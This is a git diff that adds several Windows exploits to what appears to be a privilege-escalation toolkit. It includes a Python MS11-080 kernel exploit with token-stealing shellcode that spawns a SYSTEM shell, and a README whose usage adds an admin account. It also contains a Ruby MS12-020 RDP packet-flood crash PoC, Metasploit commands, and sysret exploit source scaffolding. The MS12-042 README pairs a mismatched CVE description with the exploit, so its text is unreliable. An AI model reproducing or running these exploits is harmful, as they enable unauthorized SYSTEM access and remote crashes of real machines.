AfdRestartJoin +irpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42" + "\x00\x00\x00\x00\x44\x44\x44\x44" + "\x01\x00\x00\x00" + "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231) +## Allocate space for the input buffer +dwStatus = ntdll.NtAllocateVirtualMemory(-1, + byref(baseadd), + 0x0, + byref(RegionSize), + MEMRES, + PAGEEXE) +# Copy input buffer to it +kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written)) +startPage = c_int(0x00020000) +kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written)) +################################# KERNEL INFO ################################## +lpDriver = c_char_p() +lpPath = c_char_p() +lpDrvAddress = c_long() +(krnlbase, kernelver) = findSysBase() +hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) +HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") +HalDispatchTable -= hKernel +HalDispatchTable += krnlbase +print "[+] HalDispatchTable address:", hex(HalDispatchTable) +halbase = findSysBase("hal.dll") +## WinXP SP3 +if OS == "XP": + HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3 + HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3 +## Win2k3 SP2 +else: + HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3 + HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3 +print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation) +print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation) + +################################# EXPLOITATION ################################# +shellcode_address_dep = 0x0002071e +shellcode_address_nodep = 0x000207b8 +padding = "\x90"*2 +HalDispatchTable0x4 = HalDispatchTable + 0x4 +HalDispatchTable0x8 = HalDispatchTable + 0x8 +## tokenbkaddr = 0x00020900 +if OS == "XP": + _KPROCESS = "\x44" + _TOKEN = "\xc8" + _UPID = "\x84" + _APLINKS = "\x88" +else: + _KPROCESS = "\x38" + _TOKEN = "\xd8" + _UPID = "\x94" + _APLINKS = "\x98" + +restore_ptrs = "\x31\xc0" + \ + "\xb8" + struct.pack("L", HalpSetSystemInformation) + \ + "\xa3" + struct.pack("L", HalDispatchTable0x8) + \ + "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \ + "\xa3" + struct.pack("L", HalDispatchTable0x4) +tokenstealing = "\x52" +\ + "\x53" +\ + "\x33\xc0" +\ + "\x64\x8b\x80\x24\x01\x00\x00" +\ + "\x8b\x40" + _KPROCESS +\ + "\x8b\xc8" +\ + "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ + "\x89\x1d\x00\x09\x02\x00" +\ + "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ + "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ + "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ + "\x75\xe8" +\ + "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ + "\x8b\xc1" +\ + "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ + "\x5b" +\ + "\x5a" +\ + "\xc2\x10" +restore_token = "\x52" +\ + "\x33\xc0" +\ + "\x64\x8b\x80\x24\x01\x00\x00" +\ + "\x8b\x40" + _KPROCESS +\ + "\x8b\x15\x00\x09\x02\x00" +\ + "\x89\x90" + _TOKEN + "\x00\x00\x00" +\ + "\x5a" +\ + "\xc2\x10" + +shellcode = padding + restore_ptrs + tokenstealing +shellcode_size = len(shellcode) +orig_size = shellcode_size +# Write shellcode in userspace (dep) +kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, + shellcode_size, byref(written)) +# Write shellcode in userspace *(nodep) +kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, + shellcode_size, byref(written)) +## Trigger Pointer Overwrite +print "[*] Triggering AFDJoinLeaf pointer overwrite..." +IOCTL = 0x000120bb # AFDJoinLeaf +inputbuffer = 0x1004 +inputbuffer_size = 0x108 +outputbuffer_size = 0x0 # Bypass Probe for Write +outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1 +IoStatusBlock = c_ulong() +NTSTATUS = ntdll.ZwDeviceIoControlFile(client, + None, + None, + None, + byref(IoStatusBlock), + IOCTL, + inputbuffer, + inputbuffer_size, + outputbuffer, + outputbuffer_size + ) +## Trigger shellcode +inp = c_ulong() +out = c_ulong() +inp = 0x1337 +hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) +## Spawn a system shell, w00t! +print "[*] Spawning a SYSTEM shell..." +os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32") + +############################## POST EXPLOITATION ############################### +print "[*] Restoring token..." +## Restore the thingie +shellcode = padding + restore_ptrs + restore_token +shellcode_size = len(shellcode) +trail_padding = (orig_size - shellcode_size) * "\x00" +shellcode += trail_padding +shellcode_size += (orig_size - shellcode_size) +## Write restore shellcode in userspace (dep) +kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode, + shellcode_size, byref(written)) +## Write restore shellcode in userspace (nodep) +kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode, + shellcode_size, byref(written)) +## Overwrite HalDispatchTable once again +NTSTATUS = ntdll.ZwDeviceIoControlFile(client, + None, + None, + None, + byref(IoStatusBlock), + IOCTL, + inputbuffer, + inputbuffer_size, + outputbuffer, + outputbuffer_size + ) +## Trigger restore shellcode +hola = ntdll.NtQueryIntervalProfile(inp, byref(out)) +print "[+] Restore done! Have a nice day :)" diff --git a/97-Windows提权/MS11-080/MS11_80_k8.exe b/97-Windows提权/MS11-080/MS11_80_k8.exe new file mode 100644 index 0000000..ee46ebf Binary files /dev/null and b/97-Windows提权/MS11-080/MS11_80_k8.exe differ diff --git a/97-Windows提权/MS11-080/README.md b/97-Windows提权/MS11-080/README.md new file mode 100644 index 0000000..3bd004b --- /dev/null +++ b/97-Windows提权/MS11-080/README.md @@ -0,0 +1,39 @@ +# MS11-080 +``` +This module exploits a flaw in the AfdJoinLeaf function of the afd. +sys driver to overwrite data in kernel space. +An address within the HalDispatchTable is overwritten +and when triggered with a call to NtQueryIntervalProfile will execute shellcode. +This module will elevate itself to SYSTEM, then inject the payload into another +SYSTEM process before restoring it's own token to avoid causing system instability. +``` +- The exp was from [@BHaFSec](www.bhafsec.com/files/windows/ms11-080.exe) + +Vulnerability reference: + * [MS11-080](https://technet.microsoft.com/library/security/ms11-080) + * [CVE-2011-2005](https://www.exploit-db.com/exploits/18176/) + +## Usage +``` ++ c:\\> ms11-080.exe -O 2k3 ++ c:\\> ms11-080-AddUser.exe -O 2k3 ++ [*] Adding Admin User:hacker Pass:Hacked!... +``` +caidao add user +![win2003_k8team](2003_k8.png) +local +![win2003](win2003.png) +win7 +![win7](win7.jpg) + +## load the module within the msf +- [msf](https://www.rapid7.com/db/modules/exploit/windows/local/ms11_080_afdjoinleaf) +``` +msf > use exploit/windows/local/ms11_080_afdjoinleaf +msf exploit(ms11_080_afdjoinleaf) > show targets + ...targets... +msf exploit(ms11_080_afdjoinleaf) > set TARGET +msf exploit(ms11_080_afdjoinleaf) > show options + ...show and set options... +msf exploit(ms11_080_afdjoinleaf) > exploit +``` diff --git a/97-Windows提权/MS11-080/ms11-080-AddUser.exe b/97-Windows提权/MS11-080/ms11-080-AddUser.exe new file mode 100644 index 0000000..a0f7a58 Binary files /dev/null and b/97-Windows提权/MS11-080/ms11-080-AddUser.exe differ diff --git a/97-Windows提权/MS11-080/ms11-080.exe b/97-Windows提权/MS11-080/ms11-080.exe new file mode 100644 index 0000000..9febb6e Binary files /dev/null and b/97-Windows提权/MS11-080/ms11-080.exe differ diff --git a/97-Windows提权/MS11-080/win2003.png b/97-Windows提权/MS11-080/win2003.png new file mode 100644 index 0000000..e9b823b Binary files /dev/null and b/97-Windows提权/MS11-080/win2003.png differ diff --git a/97-Windows提权/MS11-080/win7.jpg b/97-Windows提权/MS11-080/win7.jpg new file mode 100644 index 0000000..f3ebf75 Binary files /dev/null and b/97-Windows提权/MS11-080/win7.jpg differ diff --git a/97-Windows提权/MS12-020/MS12-020.rb b/97-Windows提权/MS12-020/MS12-020.rb new file mode 100644 index 0000000..7cb1aad --- /dev/null +++ b/97-Windows提权/MS12-020/MS12-020.rb @@ -0,0 +1,200 @@ +#!/usr/bin/env ruby +# ms12-020 PoC +# NOTE: ԽűйChinese ShitдݰЭ +# Author: Joshua J. Drake(jduck) +# From: BlackBap.Org +# Silic Group - ԭ + +require 'socket' + +def send_tpkt(sd, data) + sd.write(make_tpkt(data)) +end + +def make_tpkt(data) + [ + 3, # version + 0, # reserved + 4 + data.length + ].pack('CCn') + data +end + +def make_x224(data) + [ data.length ].pack('C') + data +end + +def make_rdp(type, flags, data) + [ type, flags, 4 + data.length ].pack('CCv') + data +end + + +host = ARGV.shift + +sd = TCPSocket.new(host, 3389) +pkts1 = [] + +# craft connection request +rdp = make_rdp(1, 0, [ 0 ].pack('V')) +x224_1 = make_x224([ + 0xe0, # Connection request + 0, # ?? + 0, # SRC-REF + 0 # Class : Class 0 +].pack('CnnC') + rdp) + +pkts1 << make_tpkt(x224_1) + + +# craft connect-initial +x224_2 = make_x224([ + 0xf0, # Data / Class 0 + 0x80 # EOT: True / NR: 0 +].pack('CC')) + +# mcsCi +target_params = ""+ + #"\x02\x01\x00"+ # maxChannelIds + "\x02\x04\x00\x00\x00\x22"+ # maxChannelIds + "\x02\x04\x00\x00\x00\x0a"+ # maxUserIds + "\x02\x04\x00\x00\x00\x00"+ # maxTokenIds + "\x02\x04\x00\x00\x00\x01"+ # numPriorities + "\x02\x04\x00\x00\x00\x00"+ # minThroughput + "\x02\x04\x00\x00\x00\x01"+ # maxHeight + "\x02\x02\xff\xff"+ # maxMCSPDUSize + "\x02\x04\x00\x00\x00\x02" # protocolVersion +min_params = ""+ + "\x02\x04\x00\x00\x00\x01"+ # maxChannelIds + "\x02\x04\x00\x00\x00\x01"+ # maxUserIds + "\x02\x04\x00\x00\x00\x01"+ # maxTokenIds + "\x02\x04\x00\x00\x00\x01"+ # numPriorities + "\x02\x04\x00\x00\x00\x00"+ # minThroughput + "\x02\x04\x00\x00\x00\x01"+ # maxHeight + "\x02\x02\x04\x20"+ # maxMCSPDUSize + "\x02\x04\x00\x00\x00\x02" # protocolVersion +max_params = ""+ + "\x02\x02\xff\xff"+ # maxChannelIds + "\x02\x02\xfc\x17"+ # maxUserIds + "\x02\x02\xff\xff"+ # maxTokenIds + "\x02\x04\x00\x00\x00\x01"+ # numPriorities + "\x02\x04\x00\x00\x00\x00"+ # minThroughput + "\x02\x04\x00\x00\x00\x01"+ # maxHeight + "\x02\x02\xff\xff"+ # maxMCSPDUSize + "\x02\x04\x00\x00\x00\x02" # protocolVersion + +userdata = ""+ + # gccCCrq + "\x00\x05\x00\x14"+ + "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+ + # clientCoreData + "\x01\xc0"+"\xd8\x00"+ # header (type, len) + "\x04\x00"+"\x08\x00"+ # version + "\x80\x02"+ # desktop width + "\xe0\x01"+ # desktop height + "\x01\xca"+ # color depth + "\x03\xaa"+ # SASSequence + "\x09\x04\x00\x00" + # keyboard layout + "\xce\x0e\x00\x00" + # client build number + # client name + "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x04\x00\x00\x00"+ # keyboard type + "\x00\x00\x00\x00"+ # kbd subType + "\x0c\x00\x00\x00"+ # kbd FuncKey + # imeFileName + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x01\xca"+ # postBeta2ColorDepth + "\x01\x00"+ # clientProductId + "\x00\x00\x00\x00" + # serialNumber + "\x10\x00"+ # highColorDepth + "\x07\x00"+ # supportedColorDepths + "\x01\x00"+ # earlyCapabilityFlags + # clientDigProductId -poc has: "00000-000-0000000-00000" + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+ + "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+ + "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + "\x00"+ # connectionType + "\x00"+ # pad1octet + "\x00\x00\x00\x00"+ # serverSelectedProtocol + "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth + "\x0d\x00\x00\x00"+ # desktopPhysicalHeight + "\x00\x00\x00\x00"+ # reserved + # clientSecurityData + "\x02\xc0"+"\x0c\x00"+ # header (type, len) + "\x1b\x00\x00\x00"+ # encryptionMethods + "\x00\x00\x00\x00"+ # extEncryptionMethods + # clientNetworkData + "\x03\xc0"+"\x2c\x00"+ # header (type, len) + "\x03\x00\x00\x00"+ # channel count! + # channel 0 + "rdpdr\x00\x00\x00"+ # name + "\x00\x00\x80\x80"+ # options + # channel 1 + "cliprdr\x00"+ # name + "\x00\x00\xa0\xc0"+ # options + # channel 2 + "rdpsnd\x00\x00"+ # name + "\x00\x00\x00\xc0" # options + # clientClusterData (not present) + # clientMonitorData (not present) + +mcs_data = ""+ + "\x04\x01\x01"+ # callingDomainSelector + "\x04\x01\x01"+ # calledDomainSelector + "\x01\x01\xff"+ # upwardFlag + #"\x30" + [ target_params.length ].pack('C') + target_params + + #"\x30" + [ min_params.length ].pack('C') + min_params + + #"\x30" + [ max_params.length ].pack('C') + max_params + + "\x30" + [ 0x19 ].pack('C') + target_params + + "\x30" + [ 0x19 ].pack('C') + min_params + + "\x30" + [ 0x1c ].pack('C') + max_params + + # userData + "\x04\x82" + [ userdata.length ].pack('n') + userdata + +#mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n') # connect-initial (0x65 / 101), length +mcs = "\x7f\x65\x82" + [ 0x194 ].pack('n') # connect-initial (0x65 / 101), length +mcs << mcs_data + +pkts1 << make_tpkt(x224_2 + mcs) + + +# send a special one? +pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00") + +# send more pkts! - based on poc +10.times { + pkts1 << make_tpkt(x224_2 + "\x28") +} + +pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea") +pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb") +pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec") +pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed") +pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee") +pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0") +pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1") +pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2") +pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3") + +pkts1 << make_tpkt(x224_2 + "\x21\x80") + +bigpkt = pkts1.join('') + +loop { + sd.write(bigpkt) + + send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01") + send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02") + send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03") + send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04") + + # read connect-initial response + buf = sd.recv(1500) + # XXX: TODO: check response =) + #puts buf +} +sd.close +# BlackBap.Org \ No newline at end of file diff --git a/97-Windows提权/MS12-020/MS12-020KB2621440-CVE-2012-0002.rar b/97-Windows提权/MS12-020/MS12-020KB2621440-CVE-2012-0002.rar new file mode 100644 index 0000000..ec36987 Binary files /dev/null and b/97-Windows提权/MS12-020/MS12-020KB2621440-CVE-2012-0002.rar differ diff --git a/97-Windows提权/MS12-020/MS12-020检测.zip b/97-Windows提权/MS12-020/MS12-020检测.zip new file mode 100644 index 0000000..0f2f727 Binary files /dev/null and b/97-Windows提权/MS12-020/MS12-020检测.zip differ diff --git a/97-Windows提权/MS12-020/README.md b/97-Windows提权/MS12-020/README.md new file mode 100644 index 0000000..4bba2d0 --- /dev/null +++ b/97-Windows提权/MS12-020/README.md @@ -0,0 +1,30 @@ +# MS12-020 + +Blue Screen of Death +``` +端口：3389 +远程桌面协议RDP拒绝访问漏洞(MS12-020) + +``` + +Vulnerability reference: + * [MS12-020](https://technet.microsoft.com/library/security/ms12-020) + * [CVE-2012-0002](http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-0002) + +## msf Usage +[YouTube-MS12-020 RDP Vunlnerability](https://www.youtube.com/watch?v=8FhEK296jPg) + +``` +msf > search ms12_020 +msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids +msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.1.35 +msf auxiliary(ms12_020_maxchannelids) > run +``` + +![msf](msf.png) +![blue-death](blue-death.png) + +## References +* [msf利用远程桌面协议RDP拒绝访问漏洞(MS12-020)](http://blog.sina.com.cn/s/blog_4bf0ab590101gsq7.html) +* [cve-2012-0002（ms12-020）深度分析报告](http://max.book118.com/html/2016/0314/37644373.shtm) +* [http://www.7kb.org/524.html](http://www.7kb.org/524.html) \ No newline at end of file diff --git a/97-Windows提权/MS12-020/blue-death.png b/97-Windows提权/MS12-020/blue-death.png new file mode 100644 index 0000000..f6efd24 Binary files /dev/null and b/97-Windows提权/MS12-020/blue-death.png differ diff --git a/97-Windows提权/MS12-020/ms12-020.exe b/97-Windows提权/MS12-020/ms12-020.exe new file mode 100644 index 0000000..0dd4dd9 Binary files /dev/null and b/97-Windows提权/MS12-020/ms12-020.exe differ diff --git a/97-Windows提权/MS12-020/ms12-020_.exe b/97-Windows提权/MS12-020/ms12-020_.exe new file mode 100644 index 0000000..3579ddd Binary files /dev/null and b/97-Windows提权/MS12-020/ms12-020_.exe differ diff --git a/97-Windows提权/MS12-020/msf.png b/97-Windows提权/MS12-020/msf.png new file mode 100644 index 0000000..90d3c95 Binary files /dev/null and b/97-Windows提权/MS12-020/msf.png differ diff --git a/97-Windows提权/MS12-020/rdpclient.rar b/97-Windows提权/MS12-020/rdpclient.rar new file mode 100644 index 0000000..608e37e Binary files /dev/null and b/97-Windows提权/MS12-020/rdpclient.rar differ diff --git a/97-Windows提权/MS12-042/README.md b/97-Windows提权/MS12-042/README.md new file mode 100644 index 0000000..ea5d7d4 --- /dev/null +++ b/97-Windows提权/MS12-042/README.md @@ -0,0 +1,20 @@ +# MS12-042 +``` +Microsoft Service Bus 1.1 on Microsoft Windows Server 2008 R2 SP1 and Server 2012 Gold and R2 allows +remote authenticated users to cause a denial of service (AMQP messaging outage) via crafted AMQP messages, +aka "Service Bus Denial of Service Vulnerability." +``` + +Vulnerability reference: + * [MS12-042](https://technet.microsoft.com/library/security/ms12-042) + * [CVE-2014-2814](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2814) + + +## Usage +``` +c:\> MS12-042.exe -pid xxx +``` +* [YouTube](https://www.youtube.com/watch?v=whRRFOm-DLI&feature=youtu.be) + +![win7](win7.png) + diff --git a/97-Windows提权/MS12-042/Sysret(MS12-042).zip b/97-Windows提权/MS12-042/Sysret(MS12-042).zip new file mode 100644 index 0000000..1123479 Binary files /dev/null and b/97-Windows提权/MS12-042/Sysret(MS12-042).zip differ diff --git a/97-Windows提权/MS12-042/sysret-source/junk.suo b/97-Windows提权/MS12-042/sysret-source/junk.suo new file mode 100644 index 0000000..3f5dd2f Binary files /dev/null and b/97-Windows提权/MS12-042/sysret-source/junk.suo differ diff --git a/97-Windows提权/MS12-042/sysret-source/junk/MinHook/MinHook.h b/97-Windows提权/MS12-042/sysret-source/junk/MinHook/MinHook.h new file mode 100644 index 0000000..92012d9 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/MinHook/MinHook.h @@ -0,0 +1,104 @@ +/* + * MinHook - Minimalistic API Hook Library + * Copyright (C) 2009 Tsuda Kageyu. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once +#include + +// MinHook Error Codes. +typedef enum MH_STATUS +{ + // Unknown error. Should not be returned. + MH_UNKNOWN = -1, + + // Successful. + MH_OK = 0, + + + // MinHook is already initialized. + MH_ERROR_ALREADY_INITIALIZED, + + // MinHook is not initialized yet, or already uninitialized. + MH_ERROR_NOT_INITIALIZED, + + // The hook for the specified target function is already created. + MH_ERROR_ALREADY_CREATED, + + // The hook for the specified target function is not created yet. + MH_ERROR_NOT_CREATED, + + // The hook for the specified target function is already enabled. + MH_ERROR_ENABLED, + + // The hook for the specified target function is not enabled yet, or already disabled. + MH_ERROR_DISABLED, + + // The specified pointer is invalid. It points the address of non-allocated and/or non-executable region. + MH_ERROR_NOT_EXECUTABLE, + + // The specified target function cannot be hooked. + MH_ERROR_UNSUPPORTED_FUNCTION, + + // Failed to allocate memory. + MH_ERROR_MEMORY_ALLOC, + + // Failed to change the memory protection. + MH_ERROR_MEMORY_PROTECT +} +MH_STATUS; + +#if defined __cplusplus +extern "C" { +#endif + + // Initialize the MinHook library. + MH_STATUS WINAPI MH_Initialize(); + + // Uninitialize the MinHook library. + MH_STATUS WINAPI MH_Uninitialize(); + + // Creates the Hook for the specified target function, in disabled state. + // Parameters: + // pTarget [in] A pointer to the target function, which will be overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be used to call the original target function. + MH_STATUS WINAPI MH_CreateHook(void* pTarget, void* const pDetour, void** ppOriginal); + + // Enables the already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + MH_STATUS WINAPI MH_EnableHook(void* pTarget); + + // Disables the already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + MH_STATUS WINAPI MH_DisableHook(void* pTarget); + +#if defined __cplusplus +} +#endif + diff --git a/97-Windows提权/MS12-042/sysret-source/junk/MinHook/MinHook.x64.lib b/97-Windows提权/MS12-042/sysret-source/junk/MinHook/MinHook.x64.lib new file mode 100644 index 0000000..d4fe526 Binary files /dev/null and b/97-Windows提权/MS12-042/sysret-source/junk/MinHook/MinHook.x64.lib differ diff --git a/97-Windows提权/MS12-042/sysret-source/junk/ReadMe.txt b/97-Windows提权/MS12-042/sysret-source/junk/ReadMe.txt new file mode 100644 index 0000000..84a8ae7 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : junk Project Overview +======================================================================== + +AppWizard has created this junk application for you. + +This file contains a summary of what you will find in each of the files that +make up your junk application. + + +junk.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +junk.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +junk.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named junk.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/97-Windows提权/MS12-042/sysret-source/junk/junk.vcxproj b/97-Windows提权/MS12-042/sysret-source/junk/junk.vcxproj new file mode 100644 index 0000000..092c5df --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/junk.vcxproj @@ -0,0 +1,175 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {33A91BC5-C798-4CA3-BDE2-ED317FCBCD7F} + Win32Proj + junk + sysret + + + + Application + true + NotSet + + + Application + true + NotSet + + + Application + false + true + Unicode + + + Application + false + true + NotSet + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + MachineX64 + + + + + NotUsing + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + + + Console + true + true + true + + + + + Level3 + NotUsing + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + + + Console + true + true + true + + + + + + Document + + + + + + + + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + + + \ No newline at end of file diff --git a/97-Windows提权/MS12-042/sysret-source/junk/junk.vcxproj.filters b/97-Windows提权/MS12-042/sysret-source/junk/junk.vcxproj.filters new file mode 100644 index 0000000..5415f6f --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/junk.vcxproj.filters @@ -0,0 +1,77 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Source Files + + + \ No newline at end of file diff --git a/97-Windows提权/MS12-042/sysret-source/junk/junk.vcxproj.user b/97-Windows提权/MS12-042/sysret-source/junk/junk.vcxproj.user new file mode 100644 index 0000000..ace9a86 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/junk.vcxproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/97-Windows提权/MS12-042/sysret-source/junk/krnlutils.cpp b/97-Windows提权/MS12-042/sysret-source/junk/krnlutils.cpp new file mode 100644 index 0000000..737afd2 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/krnlutils.cpp @@ -0,0 +1,156 @@ +#include "sysret.h" +#include "log.h" +#include "sources\include\beaengine\BeaEngine.h" + +BOOL +GetDriverImageBase( + OUT PULONG_PTR DriverBase, + IN PCHAR DriverName + ) +{ + LPVOID DriverList[1024]; + CHAR szDriver[MAX_PATH]; + DWORD dwNeededSize; + DWORD dwDrivers, i; + ERRORINFO err; + + if( EnumDeviceDrivers(DriverList, sizeof(DriverList), &dwNeededSize) && dwNeededSize < sizeof(DriverList)) + { + dwDrivers = dwNeededSize / sizeof(DriverList[0]); + for ( i = 0; i < dwDrivers; i++ ) + { + if( GetDeviceDriverBaseName(DriverList[i], szDriver, sizeof(szDriver)/sizeof(szDriver[0])) ) + { + if(strstr(szDriver, DriverName)) + { + DEBUG_PRINTF(L_INFO,"Driver Executive Entry (%s) at : %p", szDriver, DriverList[i]); + *DriverBase = (ULONG_PTR)DriverList[i]; + return TRUE; + } + } + } + } + else + REPORT_ERROR( "EnumDeviceDrivers()", &err); + + return FALSE; +} + +ULONG_PTR +KernelGetProcAddress( + IN ULONG_PTR UserKernelBase, + IN ULONG_PTR RealKernelBase, + IN LPCSTR SymName + ) +{ + + ULONG_PTR ProcAddress = (ULONG_PTR)GetProcAddress((HMODULE)UserKernelBase, SymName); + if(ProcAddress == NULL) + return NULL; + + ProcAddress -= UserKernelBase; + ProcAddress += RealKernelBase; + return ProcAddress; +} + +BOOL +GetKernelBaseInfo( + OUT PULONG_PTR kernelBase, + IN OUT PCHAR kernelImage, + IN UINT Size + ) +{ + LPVOID DriverList[1024]; + CHAR szDriver[MAX_PATH]; + DWORD dwNeededSize; + ERRORINFO err; + + if( EnumDeviceDrivers(DriverList, sizeof(DriverList), 